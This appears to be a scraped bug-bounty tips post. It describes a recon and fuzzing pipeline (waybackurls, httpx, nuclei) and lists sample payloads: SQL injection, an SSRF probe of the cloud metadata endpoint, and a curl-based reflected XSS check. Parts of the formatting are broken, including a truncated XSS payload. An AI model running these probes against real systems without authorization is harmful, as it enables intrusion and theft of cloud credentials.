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You Should Know:
Step 1: Subdomain Enumeration with PHP Filter
Use `site:.target.com ext:php` to find PHP endpoints on target subdomains.
Step 2: WaybackURLs + Parameter Extraction
echo "https://sub.target.com" | waybackurls | grep "\?" | uro | httpx -silent > parameters.txt
– waybackurls: Fetches historical URLs from Wayback Machine.
– uro: Removes duplicate URLs.
– httpx: Checks live URLs silently.
Step 3: Nuclei Fuzzing for Vulnerabilities
nuclei -l parameters.txt -t /path/to/fuzzing-templates
Common findings:
- XSS: Look for unescaped inputs in
?query=,?search=. - SQLi: Test with
',", orsleep(5). - SSRF: Check for
?url=,?proxy=. - Open Redirect: Manipulate
?redirect=,?next=.
Example Payloads:
- XSS: `
- SQLi: `admin’– -`
- SSRF: `http://169.254.169.254/latest/meta-data/`
Post-Exploitation Checks:
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -q "alert(1)" && echo "Vulnerable!"
What Undercode Say:
Reflected XSS remains a low-hanging fruit in bug bounty programs. Automation with `nuclei` and `httpx` accelerates discovery, but manual validation is key. Always test for WAF bypasses (e.g., encoding payloads). For defenders, implement CSP headers and input sanitization.
Expected Output:
Vulnerable: https://target.com/search?q=<script>alert(1)</script>
Prediction:
As APIs grow, XSS vectors will shift to DOM-based and prototype pollution attacks. Keep an eye on `Content-Type: application/json` endpoints.
URLs for further reading:
References:
Reported By: Mamunwhh Bugbountytips – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
